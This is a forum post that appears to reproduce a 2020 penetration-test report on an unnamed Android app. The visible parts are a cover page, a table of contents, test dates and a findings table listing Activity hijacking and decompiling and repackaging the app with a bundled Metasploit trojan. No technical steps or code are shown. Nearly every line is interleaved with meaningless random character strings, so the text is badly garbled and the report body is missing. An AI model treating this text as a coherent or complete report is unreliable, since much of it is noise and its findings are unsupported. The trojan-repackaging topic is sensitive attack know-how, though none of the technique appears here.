找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4380|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
; f( D( e1 s: T" D$ u/ p: _1 e! w0 e7 d: P1 C0 G, s- d! u! h

" E& r9 Z' t+ Z( x _0 E# ^8 e' L7 ?) } b. z7 S
_2 A0 ^. H) J% q ! p6 v$ [9 p- L" e( M

4 C3 `, l% c* h) k ! ~& `/ K5 A' v' k# O
" ^" E e# N( K: H4 q6 p9 Z 5 z: `/ P' v0 \1 j4 q

$ Y0 @ j& |8 q 2 w9 R" ~; P; }: G; Y( M$ V 文档编号:                9 k& _2 F3 _' {7 n2 j $ m6 I) X) A2 y( Y4 x

U, {1 T' q" \8 R5 v" x$ ^ + `5 J/ R2 A: s9 k$ ~/ C

- }; Z" \0 O; } |1 f* y- c2 R! H 9 q2 _$ V; l5 P7 t5 M0 \& j; `/ O   % C& k$ q$ O9 e" ^, q9 F Z3 b. e& h' N6 B

% x I5 e, c+ X* {4 E1 d # L0 s1 o4 m7 g5 b# L, N" c

( S) j- B! W! a$ o6 V 8 [* x7 G3 l7 t/ l   9 E3 p' c0 X R1 s% @- {# b; v' N 3 G, J. Q4 y" B9 E8 P

. e6 h% C6 [4 L) ^1 V1 w , R% k. S/ F% ~, x4 V5 z# m+ y

3 c2 Z5 a6 j0 X! g1 {( f8 o6 t : z# s# \4 h V7 m0 E4 K8 Z; s. U3 [   + u1 |* A" \" g - z, ~/ X. Z; E1 f2 D$ W+ n% @( K7 S

1 M! }% ^8 u) d$ H6 d/ ]* T9 g; F' u8 @# f- W% ^3 h7 o4 v" K

* F- c% F. [7 S # T; o" U; ~4 E6 ~' U" U5 h   , j s7 [) B9 N7 \9 j. }! y+ M( D& b' p: `! G2 H, a

5 r* y3 y0 ^- U9 d- F 6 y/ w! Y) e$ T" Y9 N% l( Y

; j& d1 j6 z+ v7 s% L. p B& L Q# y9 q k7 _+ o   ' K) e! ~' r- X F' M9 X5 W+ c' b8 U3 h

x! c1 w2 W3 r0 s: V9 w! z! q

" M3 y1 K' o* m 0 C3 o# j' q- e; X2 L. | 某某某APP渗透测试 9 v$ w4 P! R2 C" P- f( k% l+ s1 g 9 [ V1 F+ Z) b" N

3 _8 [, }5 X6 t8 x" D! d }4 |2 z; V& r7 W4 t8 ?% h

1 F5 @0 y6 f8 ^0 H4 W4 ~+ j+ D + R% a5 c; N' u. h: P/ h% p   1 p5 D" x: P9 b" D0 q" D! d 4 G7 K. H( W% s; j- X3 O

; {; c" h2 @0 R, T' L4 z ' H% K- M. r3 H, K" W

. e0 a0 F+ c& X2 b8 O! k 5 v& ?0 w- G) ^4 l   , c$ X; t4 d$ |. ^' e' S8 e ' t i+ l. P+ J V

, b, ~ |& A. i3 H ! p* T" C9 ^/ E9 j. R5 k/ J$ t

/ I. a# d I2 l0 h4 y% [' O 0 {; d+ B6 I* @5 E/ G* b   8 Z, N2 n, f4 [- b: w# x0 N4 r; S* ?( ?6 D0 w

/ g1 L. _: R' K& U& Z* y, o- h7 Q8 v2 L1 w. H& i5 c

L& m4 _9 Z3 l$ j1 T" f3 P / n. g/ O6 g N# }   : ~* e, f$ f& O. F' b6 B/ F$ }0 l' m' H; s3 b7 F

$ a) S/ P) i5 }- p/ J( C% l) ]# l5 n( H, l" E' F$ ]8 d5 w

" Z4 f; f' T& z, h& W( T5 p 7 O$ G' ^9 z' v* |! I 技 术 报 告 1 f$ P0 \& G8 x# Q' B( y % J; F, w2 y5 N" m9 m E" q

* Q0 H3 o; k% v( Z 9 T3 P2 x' X3 N. U; `8 y$ e

& O( i: p) Z) C2 O4 W( W [4 }% h7 w& S m6 [* I& i   # {7 I# C" \! u8 L' S* y4 X; {! ~0 a6 U2 s

( L) K9 j; x; I! u( i' @' M ) f! P4 `0 W- P+ w

7 l8 x4 L' v) \8 ?( j . F0 @6 ^# T. e/ P5 v" ^   . t) i: f4 `2 F/ m , G6 f- O8 C/ j# [9 I3 v( D

2 r' t6 ~' j- K* g9 C5 _- L 5 e) M N, F. f: M% p) O8 f

9 {2 N' L/ H4 { ' r9 P3 J; O- _5 O   & R8 U! ~' ~2 F5 q ! m* z) j, ^4 c1 a' X9 ^/ q

) N) ~5 ^* W E- X / O! r, f& r9 e

9 @" Q+ l/ U% k! u) q! U : K) t/ Q2 X: O. y& T# b   ' Q+ R$ ^( U ?+ Q: ?+ p6 O6 v - _7 s( d" E# O: n

/ b/ K; x' s; o , K8 l$ @9 y5 p9 G% j

8 X* N8 Y9 w5 B) k3 U5 n 9 Q( E1 T1 m1 f# f   7 [, F+ \. h% h- W! I) Z- {$ I0 x! x3 \, t! k

6 ~+ m7 c) z6 f% Q, ^& m# h, i ~: d. x

4 o. _( {% ]" B @4 j: u* m ( P. L/ h* Z! o0 {9 `. r   : h, [* n0 a6 n) P' N & E0 F% g7 @; Q5 V) J

3 D9 H* C- w# I" O8 n. } , E, |* j5 b1 j

% a/ H- F4 L8 s) ?8 C" V- I , b4 Z( y2 D3 d g- T   ( c) ~0 {% m% _" s% N' S S " f7 n; q# {! L3 ], M/ ~

8 I, @4 D- `1 b; y u5 n R0 X9 z3 `# Q2 y& K; D

0 _8 s6 [& [. Y( T2 r : {5 |$ Q! W7 m7 a9 G5 x8 x" T   3 u8 H- X5 G4 e& U 1 [, |* U- ] {' ?9 Z- L; k

! c1 W+ e. n5 o H3 m' y9 y / C$ I. g, [7 T( \9 l0 ?7 C" v. ~

6 T. w5 [% a9 y5 L4 ]- t 4 E9 C$ B; K, d! k   4 y( A# e8 |0 ^# E * n" E, C6 U) k, R9 z1 C$ ~! ~

- R, @6 o+ W; P( }5 M" Z _$ d4 z: |+ `' ?8 q9 o& y6 s

, k; T: B# c) r) \ 8 z1 W- U# i! `3 j9 A" q7 S   & n0 R3 Y- r( \' t 2 N% w. y. }" B' \+ T# M6 q1 a7 X

( }, A" Y7 P. }9 x ) r* T2 q) z" S! M) f

8 h% T& \0 s" y; ? }& W . h% l$ @7 ^* b0 V   4 ^/ q! Y; U* b. v- V1 H; U) K( x$ J l3 \% [- y

6 M0 L# F' G) c! Y) d $ U! W. z# _7 i$ b( p# Z

! K9 E& \9 q U4 c$ @; d1 t$ u& ~0 z 0 j; z& \7 e5 w: C" f& C. m( ]   ( \6 E* k: f1 t" ^+ n/ @ 9 Q6 ?; P2 K' h" `0 |$ r z

/ X/ E' h' w2 P1 x. Q; F5 _" s. O! `& s: z

J% ~% S6 ]+ D+ p- Q7 V) D: o- Y) f   / e+ _ l0 A5 n# ]. Z s: S9 r& B 8 c' @0 T: @) M& q, u

& m& V) n, U' r. A3 s. {' v! F - S0 e- Z' V% v1 R

3 H) c: V3 ^ F. F3 U; D1 Q . j2 T: x6 Z1 n- V. y8 C6 P   2 k4 `, w# [* S/ {4 {. Q6 [! r, q- o8 S# c8 `( ~

. d2 _( ^9 k, o2 J 8 V; _4 C! S5 J/ s; D9 T1 U

S2 H0 @3 }" S5 u7 D 7 Q" X% t1 H. W0 p5 N; f   & D) v Q. k/ U3 I6 r( x) t" @' \, g% I( B$ E

( A) W+ S# G6 N: O$ N) R9 h7 _. | 8 p" v' c( Y! k# x2 \4 u% Y: S

" H) k6 T: @: F/ ?, `4 y + p4 K [: O6 T. [2 @: R8 l   0 S7 b. }2 J+ m; g* y% N' j; V/ ~% X

( K. \) A) @# Y5 x, g- v / `( L3 `- M, p

4 Z; c- p+ T4 w9 Z- p: }- ^ ) _0 V- b& f, a) Z1 L1 X   % ^& W" v3 Y' Y! _ - g. ^5 z% q! d$ k! e9 b, `9 M

. S) A5 e }0 R9 r1 b( S/ p6 z0 ? u

+ W" |% B Q3 p2 `6 X' k4 R9 ^% I7 M8 x" E   3 O) X8 B; b( ?9 { m ; B4 W0 U' P& T. [, W

% R6 Q8 A" }! d% g8 @/ j) f7 R 7 T2 A( x% Z/ D2 G) R- Z

/ H" [, O; H" S5 X; F8 j% M* z2 p4 z5 U, ?4 ]4 F3 o8 [% n 二〇二〇年 9 y( e( G! u4 s9 u+ ?+ w( m$ s ' o' ]9 u6 q) f

) W0 {7 p7 X( ~, T ; \4 L. ^& q5 a8 x% I: h2 K
/ P! C) D/ Q: F+ i2 U $ \6 x0 \4 b# `" L
: I' H8 a# h2 ? ^$ z# Q3 q' N1 u8 A$ F0 O* b% _1 q
) E! D) a) ^& I& ?7 b) J: ~7 Z. U . I' ?% ^3 c& o' A: j5 y( [
% `- a0 y- l+ C $ ?- ]5 L) y1 m" o
& r$ m0 ?3 V0 B- ^: U1 F$ d" S6 @) W# o
+ W, S: {+ R+ n / V& b1 o: ~1 b$ m' t/ M0 F
* K j" V$ h2 u1 t2 | / T, r0 Z; v8 e- x
" e ?* y) v5 I' [/ L; i! @: {6 [- w; H! ~! i

: a0 w& L( W9 B m 5 }/ H( Y! ]" z+ D' w 目 录 4 O* R, k5 l8 y& Q t1 @" U8 v1 @& p6 W! K( c: D4 C

8 L2 U8 W1 B9 K9 S' S 9 \* L' `$ D; y; `5 P$ `' |3 J * X) P6 B+ b$ Z: X$ o8 Q' O) s6 n) a ! w) k( t9 [. V) b+ [- U

l$ A: B: l/ r& j# p: ]( k - f7 z9 O N4 S- w) Z2 K   2 l: K( y6 }8 v5 A" K9 }3 B: Z 7 T7 ^ q6 x& L. N/ B- ?

/ K3 D6 c3 @. K6 x5 i" s$ x) I. [, m& e/ q8 l1 x# A

& T- i" m5 D8 J0 f' B o; L- ~ 4 M- R& B+ W+ S+ | 1 概述... 3 + t' ~( t7 S& B F- r . i' ~+ F' i: D6 k8 |8 G

4 a s. d% m& \1 K * p4 d! ^; G* O1 ]

- b1 _0 _6 `% ], S* T5 b% x ; f% c/ K4 A5 [9 z1 A8 V$ k- b! a5 q0 V 1.2测试时间... 3 - c h; e2 N1 J" x) j6 } $ A, t0 d+ R+ z0 v

$ ?7 f* U6 m1 q8 `5 n* V0 l% B% A- v9 I; f

; n3 |% V! D$ I! i4 Y; ~% l- }6 Y, } 1.3测试对象... 3 + f' e2 d& c' O6 g) P. h7 g/ R" N, s 8 c& q; F( q$ r ^& o6 t

' y8 B, F, f+ D# \$ W a/ @) Z% e y- a. `) L5 Q8 w7 t: t

, ] y) r1 `2 `3 K/ p. x" H9 a7 ^' s) _, _7 t7 J7 @- N 1.4测试结果... 3 & h( @0 l2 j6 y7 ? ' E) g9 c& M; H1 G% v0 g

+ v/ b& n* R o, o7 J, _( V 4 P0 H: ]' P1 y/ X. H1 ^4 K

; {9 ^7 [2 v8 d1 a2 ^2 f, G! k* n4 P: H 2 检测结果... 4 3 \; j4 \4 U0 m6 k j + _' ~5 z8 J9 D7 U$ B8 `

. W- u( X( T. `1 i0 L6 L : i, ~* s6 w9 o( N# \' n J8 f: }( }

, n. z: K" X) t1 \& B3 O) _" u/ [5 w8 F $ I& ~; |' E0 ]/ s+ |2 f0 c 2.1 某某某... 4 # A, Z! t# n9 L( y6 \0 s5 {- }* e' X. w- Y0 T

. c. e5 W. K j% T4 r' ?1 q ' {/ b! P( ^7 M, y8 b8 m9 e; o; Y

5 y: f, f8 `" `3 a6 K . ~4 x$ z3 h- Z' f# @# A 2.1.1检测目标... 4 8 ]- `$ Q2 |! n8 N+ v * n* ]0 k, F: s5 \' x

/ O$ U5 V/ P! A6 `. {# D+ D/ I, D0 e, R' [; e

0 \* `% X0 m6 M. N9 y5 R7 Z+ w" E- P2 l6 y/ O9 }5 g' i% h 2.1.2检测结果... 4 6 h: A) Z& `! F* C$ i - K, q% g7 w! F0 v$ E! ]6 q

0 d$ y4 ^# Y. k- e- ^4 Y) i4 _+ C& ~# M

" }# ?- |( ?4 j( p: t# r& H# S, Z: d7 X4 r( ~ 2.1.2.1. 4 % t, Z8 O4 t4 C. W) } B3 ?$ o 3 [7 t* ?4 J1 u$ x

9 s+ `8 I1 B/ W3 O' r( ?! C $ w8 L% y/ R: n# p. A

4 Q2 U$ y/ m: \1 ^0 {4 ? + c. w( A, ?" f/ \0 } 2.1.2.2. 6 / Y& l, f: f! t2 Z( B 6 X# n" n3 l: A7 h( n4 I* m

' [: z$ a: O8 p! Z$ C: b) S 7 k9 S$ }# m7 W2 M5 q% ]

% V3 B" }% V% Y$ c6 M * B l/ ?4 _0 q/ t ^( A 1 L, h$ G6 B- c8 ]' J/ T . I4 e# W! b1 q5 q$ T; h# g* J

7 _; m9 j. T; [9 s5 m& r 9 {. f$ d4 ]% T: I. G( d
. q$ {& b" w8 Y% J; V ; H( L/ n, s, N* c( V7 \/ _7 y
+ c& Q2 r0 I3 u! a ! O, e1 r4 \) O' }% r
% _# I0 |" l. A' H: {( A' v, g E% O8 J6 h$ j4 q+ p% ~6 M
9 p9 R( n8 J, L d1 j+ | 8 B. r9 y. G8 C% K: V

2 i+ j7 Y: l8 m; d" M 5 Z5 x; b8 y( C) [5 {( G 1 概述 ~5 K3 l7 _% K- G5 x $ M- u7 b6 n- y' n/ R

+ b- Z, |8 |5 @- f6 v V" ?0 f 5 W' D% D% Y' U* A* Z+ Y7 x2 y

H- ]4 }3 i8 O5 G1 l2 X5 g . z; @- Y U' P* T' k5 Z6 V 1.2测试时间 $ |% E! ]8 e% | " C) [$ o- u( {5 \/ S

( R; _( Z& V# V( X- k' c8 ]! J; o" h1 R( F6 }! Z7 `; E+ @ 4 X* R2 W1 @( ?' w5 C( G1 w% n& `7 R* _6 t$ u: @! s3 x# @- I+ R. O1 m5 z3 f5 A0 S1 L. `+ K3 J, S" F5 I5 P" `8 s0 t, f& L# B1 K; W2 {4 R, p3 P. d. F( d6 O! [2 F' o6 |- u0 s. _; l) ~1 {" X+ G* W: q& h9 t T O- p9 H+ I6 A& o8 U, e; v; t# z' x' u( p- i1 H' n( X5 U) F; Z2 }9 e$ I2 u+ K6 L$ t6 _# d% y: n3 V) k7 j2 D% W4 S' P0 `9 h! o' K1 G1 ]8 R& |- J/ c6 G/ H+ \- w5 a9 i2 h3 K) _ R) Q8 R( y& D0 O6 h! b6 B. t! [1 {; u" I5 ?) ?* u5 J X* g0 R/ n C/ q) E) S3 @- n8 ~7 w+ ~5 S7 e8 _! v/ n9 `) A' f$ F. T: \& `/ p. K! W6 d1 J6 b* J& e2 Q3 x/ {- V/ E7 {2 \: _( V1 Y/ [5 E% K. M/ A/ e1 B+ R# c6 d4 C, b# g$ C: Y; P! M) ?$ @9 a1 H* }$ s! u; c" J) h7 f0 Q
1 Z, r% {. v# J2 w. m 7 O3 g) [" a9 B2 R" u

+ W' U' t$ M7 U- x" @4 |& M, h. s, X# ], q1 c1 j$ k+ d 渗透测试时间 6 H8 p- O1 q! N$ s: ^ . V( U7 f( Y3 t+ o2 D

. j! _" p0 z9 C5 i8 G- b9 [/ L, }) ?; n( e: ^$ F! |) T
2 u8 l; R2 h% R( U. v7 ]0 x( x9 s

7 U O% p0 G9 ~5 \ ) @5 O, s% Q6 A# r1 | 起始时间 8 F% Q4 W$ U8 { {4 ` n& ^3 P' D a+ L8 N. i) E. E9 Q! I

8 i& V1 @+ y, }% h4 U 9 P' |3 S. B+ l2 q! U% ~
% h% V2 @* v& q/ @$ ^ 3 _. X8 P, y+ L s) _$ i

9 x( V7 J$ [: c. W( h8 V ( U- |& @" `# ~' Q. X8 E7 t+ j" ? 202046 9 ?5 L' [5 [! t7 R $ m J9 D- z- Y" c. F% I$ g

# {( `! C u# k& S: [, X9 { 6 z' ]6 n9 `4 N% k4 O. @$ c
6 d% d/ x* Z F& v ' B* ]% |' t* p: F4 o

0 ]8 C$ @- ]2 b, }$ f $ u7 Q! `$ R* K 结束时间 0 x, n7 ~" l; ^' Y2 T2 z0 K" Q- d2 x5 R" K8 s

1 F, X+ a% O, N2 i2 `/ _+ n* k4 ~6 M6 F) j
) T5 N2 _7 f; N8 f: |9 @5 i6 k+ y! { ?( n% x0 s

* N! d. v# |# G. n+ {2 M * ]6 v( t/ K' h0 }- j' y* a 202049 % X; I2 [8 z, ~$ w, H/ K- b ' D0 R) r& q. o( M# o% h; B1 k9 s

0 s$ c/ m: }% X& D4 l/ g. i $ J" Q8 y9 T% w+ R2 Y0 {5 F x
, N8 C" h! a, w8 h. c * F# i, h6 q z

, h& J6 h3 b% c 5 y7 e, t6 k9 w 1.3测试对象 c4 z1 Y+ h8 V4 g6 O8 X 6 \- x- b3 T! [: ^7 ~4 T! v3 O% E2 w

- A" q7 k) H. Q2 Y6 f4 n/ K 4 N5 W* B- _$ g2 m, V# }1 @3 n- w, a' e

& O( }9 t$ G( h J7 [+ t+ `4 ` $ O& g: {8 a1 h) E 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: % s& C: c1 n. R7 z; d. \! j$ ~ + m( z4 M4 Z$ W7 x. b6 n

% M, `* J' Y% I5 O/ z6 U9 V& @9 L# P$ X8 J# A5 Q; A

! k0 M# \ r: W+ w" _% j 4 K% _5 K) Q# X" v 1-1 检测对象 ! }0 @7 N! j v9 K5 Z( ~: x5 ^( ~: p. C' z- E4 ?4 r Q8 M! j2 s0 [. B

& Y2 h6 d# \1 e a7 t" D# A* @: g: j9 F" w/ _; [! q1 p+ D7 E " ~* | G2 N+ k% I# Q2 E2 e& k( x1 W) e7 w: }* t. w4 k/ u! E D; n0 G$ G& n' L4 V3 w$ ?. f6 ]7 a H: w4 r: C: C7 O: O) i4 C# R! L n) `$ {$ z# v M8 q6 R: H5 q- G0 G& o6 u' C9 }3 W! y7 ~" F+ C( e5 d/ v( _' L' A. Z2 U% x6 E0 b) F; O& W4 ~% u, e+ ]+ r. B8 F1 W5 _3 ?8 {* ~( y% z/ N. y8 O" T w2 d) h1 d$ A) v9 ^- ]- h8 j3 L3 F5 I; I) ?+ {1 U5 ]* v0 }4 b" l- ?* z! g9 _5 D) q' H0 O) L4 _$ ?5 f( d& G( [4 z. e0 }( C1 v( `' P |) B5 p/ o% R6 G/ }; g! L! H6 d0 |) [2 @' G8 V9 _4 y6 s, C. H L$ r, ]1 L( b2 c; \- Z8 H- Z2 E' N4 d! N8 V" t7 O. W( ?: D, S, H4 ]7 w: I3 i6 ]$ s, I3 C" B6 Y6 @' {+ [& l; H' [ k' K( | ~9 |# L0 {- {0 G1 T: L" S, v+ P: s0 j$ J8 @8 L, f) W& @ P( _3 H2 c {" g5 \3 Q$ N- V6 B' B. E R5 W# C- o& B7 M+ t y. C- X' [/ \+ q$ j1 w& k
, O3 O8 i7 _$ o( q+ l# y 8 v. B! `. I) U/ ?' T: m% e

6 f1 m# R4 p; @! a3 k+ W" Y * E0 X4 x5 }8 D+ p* W) h6 B 序号 ) B4 h% _, {- h8 }* c0 Q " h0 q {: Z% C* J( T

( i/ N$ w7 X2 D ; c* `" w- J% R/ P9 Y1 t& t( Y
% H6 ^5 {6 |+ [4 j7 a( \1 z' d2 y1 _ ?* Q) `9 s' n" X

# D% x+ j0 O2 U7 L; J4 z. Q 7 ]' [0 C) W1 p9 d* A( j4 _+ e 测试对象 , o$ `8 V% v; B! y* y1 ~6 f , q, Y/ ]; H0 Z" E+ l& O2 K1 w

~2 W7 ]: z2 R ( S" Q* R$ s; M
) j' W" B* A9 k+ m6 s5 [8 C& w: q

. f: w. n5 l' e7 V; N, [6 J- D; ~7 x) `- k' r; ^6 ] 测试地址 " X. r$ v* [: X1 h. i& p) G- r 8 j! K2 x' t! @$ A6 a

0 p8 W; l6 Y' W 0 |2 N2 N' A$ o' C8 ^/ H! _% Z
+ X( b, }( [; X$ } m ; G# h9 u- A4 o1 F' ?

8 w. l9 ~5 [# } 7 b+ R6 O& ^. t, M7 d% Y 安全漏洞 # M3 p Q8 C9 g 1 ~( M1 \: u% _$ l4 S/ V

; r* _1 O! p; A3 b; ^, f( u: U! c! z9 Q
1 q+ p a5 r1 K0 S+ j# j& B* |+ ]4 V1 d5 t" r5 [

; V% I6 [+ M$ w6 h6 _ ; V' W/ G0 U6 _( o 1 4 ]% U* [& L! E8 ~; W8 X+ S ( ?7 f Y8 k7 |6 T0 K

9 `/ F% @5 G& e3 Q' |+ U0 m ; ]1 g' Q, s: }. `9 i5 X
* W3 r8 h! Y( F/ d # j% y, i {# G0 q7 h2 @' e

7 o* h( s" d$ m7 W( n / Q5 ?: W2 F' Z2 b. L$ g0 G 某某某安卓APP 9 E1 h4 g9 X" m; _ ; t% z; |$ i( t' J3 {

4 R0 {1 V8 q, B' g0 ^' A, s9 A% k m0 J. x' B- A d
, _+ s3 r+ V( r+ f4 d* Y- F2 z # y9 d+ y7 O4 y1 [0 M; d G

, b H$ k: v+ `4 R8 p % J7 p X; E" ^/ p: E! O8 p( r! |   8 _$ S2 d8 ^: n. ? " f$ }) M) C n. K" U3 L8 C+ X; d. ~

- |0 I8 F0 y" I # Z9 v9 u# c: t7 o
% j, e* O' x9 ] " r- Q9 |! {: D9 J7 K

9 S* i) V7 i: ?; d* x ; b: [- v/ p1 H$ i9 Q( x3 c 2 5 l7 R2 D0 G0 H; z# y% m" Y 0 U+ i! j$ {- c

" y9 c3 K8 p' B _+ i ; k- ^! a1 ]1 A6 l, o# k
2 Z# i& X. u T2 j) q ) G M! V- O: e( o. l4 ]

. _% A1 e9 s4 M- ^ 1 x9 E; q$ T! f" t 1.4测试结果 % k2 e8 w' m. n+ R6 Z2 N/ M ' V s+ f5 X- M/ P! J9 b9 a: O R

! _ F5 t$ }/ a1 A9 s" n2 U P8 A E4 y7 U* ]9 J

' ], v$ i; L% o & r6 v; M d+ w9 U, K 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: ' k" T+ a/ J9 {1 _ 7 q; x" v7 w. _7 V4 B) D$ ~% ~

( t: Y0 v5 z5 U 9 ?& L5 `1 N3 A- P0 z" k

8 C" g$ ]$ o, q( b9 }7 ~8 S 5 p! U5 ?9 G6 d% c   8 m! x% N9 l8 f- u) @$ X+ W$ R5 C

6 C1 `( q% n4 I. D ' p6 t, C' t v9 t ]# U9 d
5 c2 z- a# W# v6 N+ \& P9 L t9 X) i; y6 `, A) M* m' @4 n + L8 T, X4 ]9 c6 d6 h2 X/ M/ f8 m2 Q0 z: g8 R$ F& u% W) M4 w3 _8 d; h0 v" v8 j0 ]. M3 h7 F/ h+ O. f% g, D7 {5 u- L! a8 O3 b8 V; w5 p& |( s9 Z" p/ W P, |# ~, s8 M1 B: z" W4 |, z5 F3 y B% @1 T- `, a) k5 s) R) b3 o$ i% {5 M( K+ [! P5 l9 z* u! n8 d! d7 ~' n) H4 }4 F/ y6 ~, ]: p6 o8 a" l# P# R- \8 u8 e$ t5 ~% W6 l" Z7 N5 ^1 f$ u y n( X; d9 r* u2 k S! R6 f: q! N* G% g2 ?! ^: P% u+ B5 o' a/ C4 _! E3 _5 {- z( L: r+ l" X! g: s3 d; n8 E1 }# H: u0 h$ U% O* x2 u1 S+ }- Z v. s G2 x0 n' }4 Z$ B u! w4 d) u& t: D* p* O2 [4 \7 N% N% U& F$ M# \6 O3 f/ W! L; p7 h6 r$ R; i* @/ R/ I3 p! M; D/ c# q. }/ t- R: |# G3 K/ x1 m9 }7 o: M2 G& h- \2 M. D9 N( W" @9 k5 K1 p3 F+ X+ w( t0 E; P u: u4 u- N& {! e, \2 V" q* W9 T8 i) a2 b* f* y3 v) s- P; |3 i A+ z6 h* V) I$ u+ t' @, @, @: `! w7 _) \6 z7 \$ L/ \8 p. b4 h3 @ j* I( N. \5 G2 g# ?: T" h, A0 M: ^ I/ w q! n+ {0 h' q) x6 O# l* p$ d. q! `: y( i# @* V. V& V, G3 D$ Q9 e, S2 K J1 h; ?# T; @3 |& Y, h) Z) U3 n$ Z) |: @1 k( s8 m$ c0 _8 e9 ~) a7 d1 k F6 u2 V$ `2 |4 Y" E6 Q8 } F' n# K- E- ?" n' h5 {/ u8 |; v* l5 Q" t) e5 N8 ~# F1 w$ W6 J4 G% |+ B3 Z4 ^( _/ v- v2 X5 c7 u: S1 M, `) C' x8 k; l2 ~. o4 h( j+ F# I+ Q# x& k
2 [6 \- a: C5 Z7 D . y6 P8 h* F3 J0 N0 U( c' ]8 |

7 Y) G- ^, V4 |2 k+ i1 s; | / ^) W3 V% y8 \ 序号 , k& {$ }6 q& H1 I/ E) V Y) ?) M8 @) \; E, d

* j5 @% p4 Z' w * ]/ o, [ l- B
7 D& v# e, {- t: |1 [( |3 E8 W/ S ( [! d( M P9 Z( A6 d1 e

- _( E3 |& L+ b( p8 k$ t- Z6 ~1 T: ?: L( @3 M 系统名称 4 R4 Y. e& B+ K- P# M3 b! Z " ^6 Y B5 c% g5 ~

7 _- ^8 q/ C" K1 y5 O$ U/ z : r9 L4 ~/ N& P3 A$ X
k3 E, T4 U2 `7 Y9 h1 p 2 P) K m# U! v& ?6 P2 P4 U0 H

1 R: j5 m5 f K% X6 X v 3 L8 Q$ A% n/ P; q" f( w 漏洞名称 # r m# [& i, X1 N % z( o/ S( P' L, z' z0 b9 n

6 k0 p7 p4 |) x" X t9 R 3 o7 }( ]. y% t/ v7 L
0 F L8 S. D2 N5 l Z. h % Q) Z8 |$ j/ ~, a# m \5 ~

1 y3 ~8 ]6 X) x% [1 N9 z+ O , h( m9 ~' A! G$ U% L 漏洞危害 2 \( v( b5 h h* s1 w 1 q+ ]; M, d6 u# Y$ H

7 j$ r, ^ t$ r3 V) @ ( ^! J( C1 F) P: x: E
0 I. ^8 [# Q" o1 [0 o# i* Q * H9 f9 Z3 x! M; v

/ t5 [& `; m* l2 N! {! Q9 d ' N" F' [* ?) M5 I ?8 ^ 修复结果 & J \. [7 d- B; r& Y+ n; V8 W & Z5 r% e( d2 i; K

& G& w T' @% l/ m8 G 3 C/ _/ Y5 K5 I- n" o5 o
3 ?, j! Q+ X0 P/ f/ u: T3 x) I& g3 K; u) K& V

2 U1 O' K2 l( K4 ~ v5 z2 l- U% N. E9 b7 N3 t 1 & F5 b7 `; U" A6 @0 b1 L* A ( i1 m( m0 b9 V, a e% n( R

, X4 U( O4 Y4 i ) \+ D6 s6 u( }
, Y. W" s3 o" F1 i, z" z$ P9 K( f+ d6 W, ^, }0 t+ w" [/ l

4 d* u& H* g) q8 U, a- U. g% x' F4 D 某某某某某某APP 6 I. B' F& I5 r2 z2 [" e& B( X( T" Y4 l2 v# W

! ^* x' B3 E9 e. h/ q6 i 6 v- ~ v5 U. M- u7 s3 S
1 |# v/ A) C! C8 ~! i% F; ~" M L) z; C2 D) j

q0 `0 h" _' c / J1 L4 q2 ]7 S( e- X; F. F' v Activity 劫持 & ~2 R7 e' H6 w1 o / k3 D8 m5 }, m7 i0 x$ a0 ]

1 N( \0 i3 _% | j r $ i( f) X( m! c) V

$ @( O/ h; x7 q% j$ B# k6 @! ~3 m: x0 t- S' W   # W j2 V) y- D ( m3 X( c5 b6 l. [& l

. E/ v# V7 Q( Y& M* O 2 I' \$ u2 Z6 j' T* K) U2 ~8 s
R, T& N! V2 D: w# k / v7 G' Q% k9 i8 D

( c3 h6 L3 Z7 G6 L0 ] 3 W. U' R! d3 ?2 l 2 ~1 d w' \& O$ m/ g* b9 R3 A ! [0 ~8 ^$ _ f9 j: n6 C4 w- J

1 _( A6 l+ @; V2 i 5 s( g5 }# m4 B+ X( f) W* w
2 P& c! _5 K" d/ t0 Z ( R7 v) i, p9 C6 r/ e& M/ ]

- T) e/ @" a! p1 G$ v & d' R7 N6 o% i8 x   ' m4 u5 {& e4 a; u: _; A: |0 ]4 y " j. C7 c I& y4 l& w$ W

( {0 q: O6 g) A2 h0 {' x 1 @" }( @8 i# p. Z
G& C& I% H, m! Z C - `; ?% B7 Q3 b2 U

1 t9 k8 m' O0 l$ m8 L& J+ K / q" r% |8 ?4 t. V- D* A 2 ) b% [" r4 o" F+ g' c& @2 E 6 n8 X/ W4 F+ ], H* ^: I5 Q4 @

3 k3 V; k( J& D1 N1 [2 o D7 b" ?- Y: l5 G) P, D: S
* z) ]6 \! ?1 F0 f" R & S. R: K; k1 D/ t0 O9 I: Q( y

4 ~# O6 u# V5 M8 Z3 _! a6 B3 e, f3 z0 ?2 N- F 某某某某某某APP 8 J0 P" E# x; } B; S. O: `8 K* P* a9 R. T! e* ~

6 I) w' c' V9 l2 l , ~: V* u2 e6 t" \
}+ ]# B- E$ g : t P, N5 O2 A. @

" C8 H! k9 h& d ( k" W( y4 M% u: P! k4 q 反编译二次打包捆绑木马、篡改APP代码 % [ d. M- S# {# _ 3 w' {3 a4 g- Q

! c% ]% V: Z0 D. P6 Y, O5 ^ ) M$ @+ o7 t( f
" ? R% N0 ^6 |. g8 Y( _ " o: I1 X/ d. I( F; f( s" p

* y) f( K8 ~8 v# p 4 P, ?+ W, E+ L% I: n2 k+ `; ] # N0 Z2 a) m/ k* F5 J( I* W; D' t3 q; W# A" b" m1 ^) H: v

2 N% \% g' L/ E' R x) w, f$ d0 ]- ]1 Q; e
6 f G# e& L0 F" w& M/ o , `% x* y5 B5 C3 @" {

: T7 E: t) Q. V4 [7 ~6 Y5 ^4 J" [; V/ q% b   * f. r6 D7 ]! h+ V! S" L/ k9 I/ [* h- ?% ~ P) {

: L6 p2 x' B* w9 w' m ! A; @5 {9 ?. X' }0 m" ]; c
& t0 B. G( U& q- G ( Z1 ]; G$ ?& ^6 _* x& ]- F' N
- V7 ]4 G$ Y1 g- H$ ~% h: C A5 Y0 N4 G* w" v+ ]

3 z8 w8 W/ o$ ]: `% \7 ~: ]6 V2 @/ ]   ; |1 i2 P: D* ~3 t0 }! s6 X2 }$ @8 z( x

/ s* Q7 V; X& r" ^( f# U. D % V1 N: a) K6 r9 o+ g

